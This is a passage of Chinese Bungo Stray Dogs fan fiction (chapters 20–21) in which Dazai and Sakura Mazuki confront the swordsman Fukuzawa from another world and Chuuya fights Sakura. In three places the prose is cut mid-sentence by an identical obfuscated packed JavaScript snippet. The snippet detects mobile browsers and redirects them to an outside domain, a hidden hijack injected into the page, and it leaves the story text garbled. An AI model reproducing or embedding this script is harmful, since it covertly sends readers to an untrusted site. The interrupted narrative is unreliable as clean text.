不将他打败，是没有办法离开这里了。 这个念头在脑海里浮现，剑客手中的武士刀就如臂指使的挥出，凝练的杀意仿佛有了实体，宽大的围巾遮挡面容，却挡不住锋利的黑色眼睛。 感受到了挑衅，樱真月反应比想象中更快—— “嗨嗨嗨——” 一道熟悉的声音从旁响起。 那一刹那，就好像被按下暂停键，胁差收敛所有的进攻势态，没有任何阻挡的，武士刀劈了下来，劈到水泥墙面上，本应十分坚固的墙体如同豆腐一样露出被斩断的钢筋，甚至已经能看到楼下商铺的样子了。 原本应该站在断层处的樱真月，握着胁差轻巧落地，他的落点是对街商铺的楼梯间高处，他的面前是不知道什么时候出现的太宰。 流露的杀意被驯服，樱真月又变成了平常的樱真月，他安静的护卫在太宰身后，而坐在楼梯间的边缘，太宰有一下没一下的抛着用于联络的耳麦，没有被绷带覆盖的鸢色眼眸静静地注视着对面持刀而立的剑客。 “早上好，不知道从哪里来的剑客先生，”太宰飘忽的笑了一声，“初次见面，不，对你来说，应该是好久不见，虽然我此时并不知道你是谁……嘛，想要见你一面真是很不容易啊。” 和收敛的樱真月一样，剑客也停下了所有动作，和煦的风自海岸线吹来，带起他肩上的羽织一角，阳光铺照，刀锋反射出夺目的光，针锋相对褪去，一往无前的剑客却像是死了一样。 “你想见我？” “当然了，哪怕是聊聊天也好啊。” “目的呢？” “欸，你不知道嘛，”太宰竖起手指，晃着脑袋，表情可可爱爱，“那不妨，你猜一下？” 剑客抬起眼眸，露出平静到称得上死寂的眼睛。 “擂钵街的暴乱里，你在现场。” “嗯嗯，确实在呢~” “在现场却放任——不，应该说，却推动了暴乱的发展。” 如果是‘太宰治’，如果他想要做，他可以轻松的在一切发生之前进行遏止，这是不需要怀疑的事情，需要去思考的仅仅是，他为什么要这么做。 就像是互相博弈的双方，他们坐在棋盘两侧，棋子依照意愿落在格子上，信息就是他们胜利与否的筹码，他不知道太宰知道多少，相应的太宰也不知道他们藏在黑暗里的关键信息。 死寂的黑色眼睛落到樱真月身上，剑客再次开口说出的推断却足够让人震惊：“比已知的结果更早，你已经知道了吧，你们脚下的世界，是一个脆弱的，如同海滩上被太阳一照就会破碎的世界。” 正是因为这个世界是那么脆弱，他们才能成功入侵，他们才能竭尽全力的，寄居他们那挣扎着的，不肯就此熄灭的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365961|182754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵魂。 比已知的结果更早—— 太宰所有的神情都淡去。 “正是因为如此，清楚的知道我们如何引发混乱的你，才会漠视，甚至推动暴乱的发生，因为超越已知的混乱里才会诞生出新的选择，只有拥有选择的世界才能延续下去……” 两双不同的眼睛，隔着空间平静的对视着。 “换句话说，”剑客继续说，“你需要‘我们’。” 笃定的声音被风吹散，无声的沉寂蔓延。 很久很久，太宰才重新勾起唇角：“居然这么笃定我会拯救这个世界吗？在您看来，您是真的很了解‘我’啊？” 剑客：“你不会吗？” “那可说不准，”太宰摊开手，和煦的风也拂起他额角凌乱的碎发，露出阴霾的眼睛，“毕竟你也看到了，我们的世界是很无聊的，我每天早上中午晚上思考的事情都是：要怎么样才能真正的拥抱死亡，你居然认为这样的我会拯救世界？哈哈哈，真是的，我没把世界创死就不错了。” 无比美好的精神状态，让剑客沉默了。 不可否认，在‘书’记录的那么多的世界里，也不是每一个太宰治都会选择站在正义的一边。 “那么，剑客先生……不，”鸢色的眼睛再次看向沉默的剑客，太宰改口道，“应该说，另一个世界的福泽先生，你还有得出什么别的有用结论吗？” 猝不及防的被叫出名字。 对面恍如磐石的身形晃了晃，宽厚的围巾被风吹了起来，那被岁月霜雪铭刻过的，带着正义被腐蚀后留下的暗沉和阴霾的脸，第一次暴露在这个世界上。 与此同时。 横滨的另一边。 仿佛有所察觉，奔走的乱步停下脚步。 在他的前方，子弹与异能的火焰到处乱飞，怒骂和吼叫，甚至还有哭喊声，海水冲击礁石的声音，无数嘈杂的声音涌进耳朵里，让人烦躁。 距离莫名其妙负债的中也不得不展开工作已经过去十个小时。 这十个小时里，太宰给出的清理名单还剩三分之一。 名单上记录着的，是所有参与擂钵街暴乱的组织，这些组织有大有小，小的十几个人，大的上百人，战斗力先不提，抢到的那些自动步枪也忽略不计，单从异能攻击性的角度出发，这些人完全不是中原中也的对手。 樱真月说他一天就能回收所有武器的话并不是虚言，被刺激的中也觉得自己也能做到，但—— 不是他动作太慢，也不是他故意拖延，而是，对方手里有人质！ ‘羊’被抓走的成员都在这些组织的手里，那是他的同伴。太宰提出的让他来这里清理这些组织的要求，和他一开始就打算要做的事情是一样，他想要救出自己的同伴！要报复！要让一切胆敢侵犯他们的人付出应有的代价！ 这是‘羊’得以延续的，所奉行的生存法则：人不犯我我不犯人。 人若犯我，那就要不惜一切代价予以反击。 “喂，别休息了。” 血腥弥漫着，成功清除一个组织的中也，插着口袋往前走了两步，才发现乱步没有跟上来。 “要去下一个组织了。” 20.020 【第二十章：知道真相的人最不幸。】 阳光照不到的阴影里，驻足的乱步迷茫的看着前方。 前方那个因为贪婪趁乱发起攻击，却没有相应实力保护自己的组织，也像死亡名单上的其他组织一样被重力碾碎了。坍塌的围墙还残留着重力碾压的痕迹，龟裂的地面，几个不知死活的组织成员倒在地上。 五分钟前，那几个组织成员在恐惧的威胁里，已经说出了他们抢夺回来的自动步枪的储藏位置——太宰他们的要求，就是中原中也让中原中也收回散落的武器。 但中原中也没有第一时间去找武器，他穿梭在这个被他暴力摧毁的组织里，正在寻找他的同伴。 ‘羊’被抓走的成员都在名单上的组织的手里，那是他的同伴。太宰和樱真月提出的那些过分要求，他之所以会答应，是因为他一开始就打算这么做，他想要救出自己的同伴！要报复！要让一切胆敢侵犯他们的人付出应有的代价！ 这是‘羊’至今奉行的生存法则：人不犯我，我不犯人。 人若犯我，那就要不惜一切代价予以反击。 他在践行着这一点。 最终，在一间暗室里，他找到了那几个失踪的‘羊’的成员。 这几只羊受了伤，满脸惊惶和怨恨，远远还能听到他们一边抱怨中原中也来得太晚，一边大声驱遣中原中也，要求他们把倒在地上的生死不明的组织成员都杀了，以此宣言他们‘羊’的报复，甚至有人捡起地上的自动步枪，要去扫射那些成员，最终被中原中也一脚踢开。 气氛僵持住，谴责和怨恨仿佛能凝成实质。 这些怨恨不是对着引发灾祸的他们自己，不是对着欺负他们的组织成员，而是……对着来救他们的中原中也。 缓缓收回脚，中原中也皱着眉，许久才说出一句：“别用那些武器。” “为什么？！” 中原中也说：“这些武器现在已经有主人了。” 羊更不解，更愤怒了：“港口黑手党吗？这一点我们不是早就知道了吗？港口黑手党如果要进攻我们，你就会将他们都碾碎，直到他们放弃，直到这批武器归属我们，这不是约定好的吗？呐，中也你到底明不明白，我们不像你有异能，我们想要活下去，想要力量就只能靠着——” “不是。”中原中也赫然打断他们，“这批武器现在不是港口黑手党的了，所以一颗子弹也不能用。” 近乎呵斥的声音。 握着枪的‘羊’在中原中也的强势要求下，一点点松开手。 自动步枪啪嗒一下落在地上。 中原中也松了一口气，他指使着同伴把枪收起来，又让他们把枪送到九条组的基地，不，现在应该叫‘没什么人承认的天人五衰走私集团’的基地。一路过来，碾碎名单上的那些组织后，他也是这么要求他救出来的同伴的。 毕竟他还要继续清理名单上的组织，不能将太多的时间浪费在武器收集上。 相距着不远的距离，那双不知道什么时候睁开的，郁色沉积的碧色眼睛安静的看着，这样的场景，他已经看过很多次了，因为中原中也每清理一个组织，这个场景就要重复一遍。 他不明白。 明明只要愿意，明明拥有着强大的武力，中原中也可以让每只羊都听话，但他就不，他就向过去的每一次明知故问一样，明明知道一切，但就是……就是放任，就是假装不知道，就是拙劣的演出没必要的闹剧。 他感觉有点厌烦了。 明明距离抽签，距离离开书店，还没过去很久。 恍惚里，他感觉自己再一次站到悬崖的边上。 上一次产生这种感觉，是在擂钵街流浪的时候，那是他父母去世后的不知道多少天。其实，他不是一开始就独自流浪的，因为父母的遗泽，他最开始进了一所警校，按照安排，他如果能从警校毕业，就会成为像父亲那样的警察，找到一份养活自己的工作。 但是……那些人太可怕了。 宿舍管理员明明有着家庭却私下跟警校同学约会，同宿舍的舍友明明因为憎恨着藏匿子弹想要杀死管理员却要露出亲密的笑容，而其他人明明知道一切却扮演一无所知的角色，默契的推进这个滑稽的剧幕。 父亲说：你要谦虚，要沉默，不要得意忘形，世界上的人都很聪明。 他一直把这句话记在心里，但他不明白的是，那些人为什么要这么做。 他不明白为什么每一个人都能保持这种默契。 只有他格格不入。 像个怪物。 离开警校之后，他又去了很多地方，都格格不入，最后流落到擂钵街时，见到了同样格格不入的樱真月。樱真月问他，有没有兴趣去给一个世界上最好的人当伙伴。 伙伴吗？ 格格不入的怪物也有伙伴……吗？ “喂，你在发什么呆。” 猝不及防的声音打断思绪，阴影里的乱步抬起头，就看到耀眼的阳光将影子拖长，光下的中原中也双手插着口袋，正狐疑的看着他。 “你这幅没干劲的表情是怎么回事，别发呆了，我们要去清理下一个组织了。” “我不想干了。” “哈？”中原中也没听清，“你刚刚说什么？” 乱步没有回答。 中原中也没有察觉到他奇怪的沉默，继续说：“快点啊，等到把名单上的组织清理完，把散落的武器都交给那个混蛋绷带怪，我们就要开始寻找那些藏起来的‘黑衣人’了，按照你之前的说法，那些人才是坑还‘羊’的罪魁祸首吧。” 除了那些组织，‘黑衣人’他也绝对不会放过。 乱步终于动了。 他回过头，狐疑地看着中也：“找‘黑衣人’？你找不到黑衣人了。” 中也皱起眉：“为什么这么说？” 乱步：“因为太宰他们两个人，现在已经和‘黑衣人’见面了吧。” 中也差点跳起来：“哈？他们？为什么？” 脱口而出的第二个为什么。 又在问为什么了。 明明很简单就能知道，明明大家都是聪明人，一眼就都能看出来，但就是要继续问为什么，就是要继续演出这种奇怪的剧幕。 乱步不满，但他有点倦怠，懒得发脾气了。 “这不是很明显的事情吗？他们夺取九条组，挑衅港口黑手党，再把你指使出来清理小喽啰，就是因为他们想找到‘黑衣人’啊。如果顺利的话，在樱真月的刀下，横滨再也见不到‘黑衣人’了，如果不顺利的话……” 不顺利的结果乱步没说，中也也没再继续问，他的重点完全落在了‘再也见不到黑衣人’上，他为什么会出现在这里？‘羊’为什么会变成现在这个样子？ 都是因为黑衣人！ “他们在哪里？” “嗯？” “我问你，”中原中也抬起头，露出盛怒的眼睛，“他们现在在哪里？” * 被叫破的名字顺着风消逝，剑客，不，福泽-谕吉神色都恍惚了。 他已经快记不清，有多久没被人以这个名字称呼了，那些深深埋藏的记忆像关不住的海水一瞬间将他淹没： ——福泽，拿着这张许可证，去维护正义吧！ ——社长，为了大家，一起努力。 ——社长，为什么会变成这样…… 每一张熟悉的脸，每一个遗憾、落寞又不甘的神情，他能做到什么？他什么都做不到！血色和黑暗会将他们一起吞没，像浮沫一样的世界会被吞噬，值得珍藏的记忆消失不见，熟悉的人变得不再熟悉……直到失去所有。 “太宰……” 阁楼高处，坐着的太宰掀起眼眸。 “发现真相的人永远是最不幸的，”福泽低头看了看手里的武士刀，“他一样，你也是。” 太宰没有说话。 “所以，脱离这种痛苦吧。” 反射的光划过，照亮黯淡的鸢眸，流风刮起，当的一声—— 裹挟着浓烈杀意的武士刀被胁差格挡下，力道之大，就连樱真月也被压得弯起膝盖。 咫尺之遥，死寂的黑色眼睛里，太宰看到了自己的倒映。 “让我来帮你吧，”黑色的眼睛里带上悲哀，福泽说，“我有必须这么做的理由。” 理由吗？ 就算是这样也要竭尽全力活下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374864|182754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不肯将灵魂就此掩埋的理由吗？ 太宰忽地勾起唇角，绷带覆盖下，带着稚气的五官变得无比绮丽。 “可以哦，如果你能帮助我的话，请一定要做到啊，一定要……” 在武士刀和胁差厮杀的里，飘忽的话语已经接近呢喃。 “……一定要成功的杀死我啊。” 抱着那炽烈的，不知道从哪里来的决心，请一定要这么做啊，如果能做得到的话。 彼此侵吞、撕咬，彼此进攻、防守，死斗里不存在留手，武士刀的每一个动作都直逼太宰，那是最能激怒樱真月的东西，连一个迟疑都无法忍受，又怎么忍受这些赤裸裸的杀意？ 刺耳的金属撞击声，火花飞溅，一切都在刹那间，或许哪怕是他们自己，都没办法完全看清彼此的动作，但在杀死对方之前，樱真月没打算后退一步，他的身后是他的世界，他亲自一点点供养的，亲自凝望注视观察的世界。 就算太宰有所期盼而人人都是孤岛，就算人类无法完全感同身受，就算他也无法完全靠近太宰，他也没打算让任何人终结太宰的生命。 他所能接受的，能杀死太宰的人，只有太宰自己。 而太宰在杀死自己之前，必须要先杀死他。 因为双方都怀抱杀意，没有人退却，一次又一次的交手里，武士刀和胁差的进攻和防守开始趋向同步，甚至连招式都慢慢变得一样起来——这是樱真月的能力：与异能无关，无论和谁战斗，只要对手没有在交手的第一时间杀死他，那他就能无意识的学习别人的攻击方式，直到这种攻击变成他的一部分。 真是个怪物啊…… “那么——” 武士刀和胁差再次碰撞到一起，同时啪嗒一声细响，太宰从高处跳了下来。 “就到这里吧，反正你们都没办法杀死对方。” 握着刀的两人对视着，都没有放弃攻击的动作。 相比起平静但决然的对手，笑得很邪性的樱真月反而像个想要毁灭世界的反派：“嘛~别长他人志气嘛阿治，再给我一点时间，搞不好我就能杀死他了。” “但是，我们最缺的就是时间。”太宰语气拉得很长，“呐，福泽先生，我已经清楚你的决心了，你的决心感动了我。” 空气无比安静。 只有太宰在说话。 “在我的眼里，这是一个腐朽氧化的世界，劣质又无聊，人们怀抱偏见，彼此仇恨……我至今不知道它有什么值得留恋的地方，”太宰停住脚步，在阳光下，像一个孤寂的死灵，“但是，你那种炽烈到可以奉献一切的决心感动了我，所以，看在你诚心想要帮助我的份上，让我也来帮助你吧，你想毁灭这个世界是吗？” “不。”福泽忽然开口，“我并不想毁灭你们的世界。” “啊，说错了，”太宰配合改口，“是想要占领这个世界，这个即将被吞噬的世界——就像你们那个被吞噬的世界一样。” 话音落下，握着武士刀的身影顿住，他张开口，想要回答，但又什么都说不出来，就在这时，忽然间，一道漆黑的身影猛地创过来，将他创出去。 墙体坍塌破碎。 飞扬的尘土一点点落下，最后，只见握着武士刀的福泽倒在废墟里，年幼的羊之王中原中也压在他身上，凝聚重力的拳头高高扬起，狰狞的脸上都是愤怒。 “就是你算计了‘羊’吗？” 福泽沉寂的黑眼睛没有一点波动。 中原中也也没想过得到回答，他扬高的拳头直接砸下去，然而—— 刺骨的杀意涌上背脊，他猛地往后一跳，躲开鬼魅一样必中的胁差。 “你在干什么？！” 这句话是对着樱真月说的，樱真月没有回答，凝聚的不知道对着谁的杀意都没收敛干净，只是漠然地提着胁差挡在面前，不知为何，第六感鼓动，中也闪电般回头，就看到缠着绷带的怪胎就站在不远处，黑沉的眼睛没有一点生气。 “我说啊，脑子没有拳头大只会黏糊糊爬行的恶心蛞蝓，你要对我的合作伙伴做什么？” “哈——？！”中原中也眼睛都瞪大了。 合作伙伴？ 疯了吗，这家伙！！ 21.021 【第二十一章：——‘不存在的规则’】 毫无防备的，听到这样的话，中原中也第一时间还以为自己听错了。 “你在说什么？” 太宰没有重复。 樱真月没有退让。 就连倒在地上的黑衣人都是沉默的。 奇怪的荒诞感从直觉里弥漫出来，中原中也觉得有问题，但完全僵持的场面让他意识到，没人在开玩笑。 合作伙伴？为什么啊？黑衣人利用走私的武器搅弄人心，制造混乱，他伤害了他人，破坏了城市，最开始的时候，就连太宰也被卷入其中，受到伤害了吧！那么，为什么樱真月能提着刀，以保护者的姿态挡在面前？ 他不是连别人对太宰产生的一点点恶意都无法接受的吗？！ 无法理解！ 完全无法理解！ 无以言喻的愤怒，中原中也捏着拳头，黑红的重力重新蔓延，他原本以为在擂钵街的混乱发生之后，虽然目的各不相同，但大家在做的事情是一样的，就连港口黑手党都在处理混乱的后续——虽然不喜欢港口黑手党，但不可否认的是，他们也确实在清理抢夺了武器的组织。 他还不是一个合格的‘羊之王’，但他也知道大量的走私武器散落在外，一定会引发更多的混乱，使得普通人生活在恐惧之中。 所以，虽然讨厌太宰，虽然被樱真月恶劣的对待，但作为在横滨挣扎生存的人，在按着清理名单行动并回收武器的时候，他是相信太宰和樱真月的，现在，这两个人却告诉他，他们是黑衣人的伙伴…… “哈——” 既然这样……中原中也笑出了声，怒火从钴蓝色的眼睛里绽放出来，破除一切的重力如同怪物一样朝着挡在前面的樱真月咬去。 掠过的风扬起樱真月粉色的马尾，樱真月没有后退，同样提着刀冲出去。 没人能看清他们的动作，直到两道身影撞到一起，坍塌的废墟变成战场，爆发的气浪将目之所及的一切都掀翻出去。 作为未来声震内外的重力使，中原中也绝对也是越挫越勇，越战越强的类型，只是因为异能‘污浊了的忧伤’太强，他太过依赖异能——这也很正常，在横滨这个异能者圣地，有异能不合理运用才是笨蛋吧！ ‘羊’就是因为‘污浊了的忧伤’，才能成为和港口黑手党、GSS、高濑会齐名的存在。 在擂钵街的大混战里，中原中也之所以会败，主要还是吃了「异能禁止」的亏。 因为这个亏，在输掉之后的时间里，他反思了很久，一直思考要怎么才能打赢樱真月。 因此，一交手，樱真月就明显的感觉到了变化，如泥沼一样的重力异能依旧盘踞在中原中也身侧，但中原中也已经不像上次，执着的试图用异能碾压他。 和大多数异能一样，‘污浊了的忧伤’有触发条件，中原中也需要触碰，才能依照心意操控物体的重力方向和强度。 在擂钵街的大混战里，中原中也就一直试图通过触碰叠加樱真月身上的重力，只要能触碰到樱真月，哪怕是通过那柄胁差，他都能把樱真月碾到地里去，但是，樱真月实在是太灵活了。 年龄小带来的体型优势将樱真月本就远超常人的速度放大到极致，有机会就进攻，没机会就立刻拉开距离，进攻时还会脱手进攻，胁差锋刃的一端刺向他时，刀柄的一端就必不可能握在樱真月手里，完全不给一点重力碾压的机会——可见，这个人是真的很恶劣。 但恶劣掩盖着的，是他近乎完美的战斗方式。 在他都没听说过樱真月这个名字的时候，樱真月就知道要怎么对付‘重力’了。 完胜对惨败。 最后，还是他气极了，攻击过程中波及到了太宰，一碰到太宰就不肯退让的樱真月才开出异能，代价是刀尖刺向他的喉咙的战栗感至今萦绕不去。 说起来，他到现在都不知道樱真月的异能叫什么名字，也不知道他的异能的真正的效果，只知道对方能框定一个空间，并在空间内写下「异能禁止」的规则。 冷静思考过的他知道，「异能禁止」并不会让樱真月的胁差变钝，虽然在有所准备的情况下，他觉得纯靠体术自己也不一定会输给樱真月，但是打架是为了赢，在决定进攻的罅隙里，凭借本能，他就决定要尽可能拖延樱真月开启异能的时间。 ‘污浊’能强化他的攻击状态，这个状态下的他的体能消耗会比樱真月少，而体能会直观的影响后续的进攻防守，而且，如果他没猜错的话，在他到来之前，樱真月已经跟那个拿武士刀的黑衣人打过一架了。 然而，樱真月一眼看穿了他的想法。 于刹那间，无人察觉的微弱光辉自脚下扩散，坍塌的废墟里，就连碎石子都渡上璀璨的鎏光，耀眼的金碧辉煌中，第一条规则铭刻其上。 反应过来的中也猛地后退一步，然后，发现，异能还在！ 嗯？！ 异能还在？！！ “很抱歉，一直没什么机会向你介绍，这是我的异能——” 提着刀，樱真月依旧站在原地，流光溢彩映衬下，他像是此世最高的王。 “——名为‘不存在的规则’。” 中原中也钴蓝的瞳孔猛地缩紧。 “规……则？” “是哦，就是普普通通的在一个空间里写人人都要遵守的规则，没什么攻击性，所以过去很长一段时间里我都很焦虑，”那双粉色的眼眸异常平静，平静中徒然让人生出一种毛骨悚然的感觉，果不其然，“我总觉得，你们每一个人，都会在我看不到的地方对我在意的人下手。” 中原中也：“……” 樱真月弯起眼睛：“这种事情无论怎么看都绝对不能忍受，对吧。” 中原中也忍了忍，没忍住：“这是什么奇怪的被迫害妄想症啊！喂，那条青花鱼，你没想过报警吗？” 这种想法果然已经到了可以报警的程度了吧！ 就算不想报警，也得带他去看看心理医生啊喂！别像条恶犬一样放外面乱咬人！ 理解了他的话中之意，太宰斜了一眼，不予理会。 樱真月：“为了不让你们得逞，我将异能扩放至整个横滨，并写下第一条核心规则：「禁止伤害太宰治」。” 中原中也猛地一顿，内心的诡异感在此刻升到最高，他的眼睛不住地往后看，看到废墟里一动不动的黑衣人，这种规则，不，应该说这种话需要跟他说得这么清楚吗？他们现在可是对手！但是，樱真月此刻满身的杀气不作假，他又想起了那个混乱的擂钵街之夜，想起了对太宰挥拳的自己。 “如果不遵守会怎么样？” 樱真月耸了耸肩，并不在意：“谁知道呢，会自己死掉吧。” 中原中也：“…………” 中原中也：“不对，我打了他，我没死。” 虚假的笑意顷刻淡去，真实的情绪暴露出来，那一瞬间的杀意比刀锋还要锐利，樱真月的声音没有起伏：“因为异能在前一天晚上被解除了。你一定能理解我的吧，在擂钵街看到你的那一刻，我是真的很生气哦，所以，能请求你现在被我杀死吗？” 中原中也：“……… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16381176|182754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ………” 不，不能。 他不能理解！ 完全不能理解！ 中原中也暴躁吐槽：“喂，这已经是两码事了吧！要找借口就给我好好找啊，而且你现在生气又不……不，应该完全不关我的事吧！” 别因为黑衣人倒下了就开始无差别攻击，他现在又没打那条混蛋青花鱼。 虽然他是准备要打。 他是一定要为‘羊’复仇的，胆敢算计‘羊’就一定要遭受他的雷霆报复，无论是黑衣人，还是已经和黑衣人成为同伴的樱真月——在他眼里，选择和黑衣人站在一起的太宰和樱真月已经是可以进攻的敌对状态了。 他这么说着，就这么发起了进攻。 闲聊就到这里吧，虽然目前还谈不上什么交情，但他喜欢直接了当的办法，只要把樱真月打败，把樱真月碾进泥土里，就一定能让他们俩明白，选伙伴什么的，也是需要慎重考虑的事情！ 跃至半空的身影极其流畅，黑红色的重力异能盘踞着，让他的进攻变得势不可挡起来，提着胁差的樱真月依旧没动。 气流涌动，掀起他凌乱的马尾。 在重力临近的刹那，他写下第二条规则：「异能禁止」。 势不可挡的重力瞬间消失，有所预料的中原中也借着惯性，依旧重重地踢腿。 在正常的战斗里，一般人很少使用腿部攻击的，那会造成下盘不稳，但中原中也不一样，他平常使用的‘污浊了的忧伤’并不是完全体，绝大多数能力都封控在手上，所以他更喜欢用腿发起进攻。 对战过一次，樱真月很清楚这种进攻方式，所以，他没有助跑或借力，而是以左脚为支点，飞速旋转一周增加势能，胁差劈出去的刹那，力道重的像是能把目之所及的劈成两半。 感觉生命受到威胁，骤然折返的中原堪堪避开那把地面都劈出宽大缝隙的一刀——这家伙，没有一点留手，虽然不知道是为什么，但他是真的很生气，也是真的想杀死这里的，除太宰之外的所有人。 “混蛋——” 愤怒再次升腾起来，中原中也更生气了，异能‘不存在的规则’给他带来了很大的限制，其中最要紧的是不能使用‘污浊’，不过，他也做了准备——虽然不知道为什么太宰和樱真月会成为黑衣人的伙伴，但，在上次的惨败后，他可是每分钟都在思考怎么打败樱真月的。 樱真月是用刀的高手，他不会用刀，但能用其他的武器，要知道七步以外枪快，七步以内枪又准又快！ 当中原中也掏出自动步枪，开始暴力扭转局势时，跷脚坐在废墟上旁观的太宰叹了口气：“看吧，我早就说过了，练刀不如练枪。” 废墟下躺着的黑衣人福泽安静的回应：“但是，子弹总有用完的时候。” 太宰：“这么说，你也觉得用刀更好？” 福泽：“不，其实我也见过用枪出神入化的人。” 知道他指的是谁，太宰有片刻的沉默。 福泽又问：“所以，织田君呢？” 太宰：“送进七号机关了，因为无证据杀人，大概要服刑服到地老天荒吧。” 福泽：“……？” “所以说啊，我想帮助你的那些话，是认真的哦，”太宰耸耸肩，“虽然不知道你们那个世界发生了什么事情，但我们这个世界属实很无趣，最开始的时候，连梅子饭团都没味道，我很早之前就想跟这个世界爆了呢。” “那，为什么没有爆？” 躺在地上，一动不动的福泽终于侧过头。 “因为……樱君？”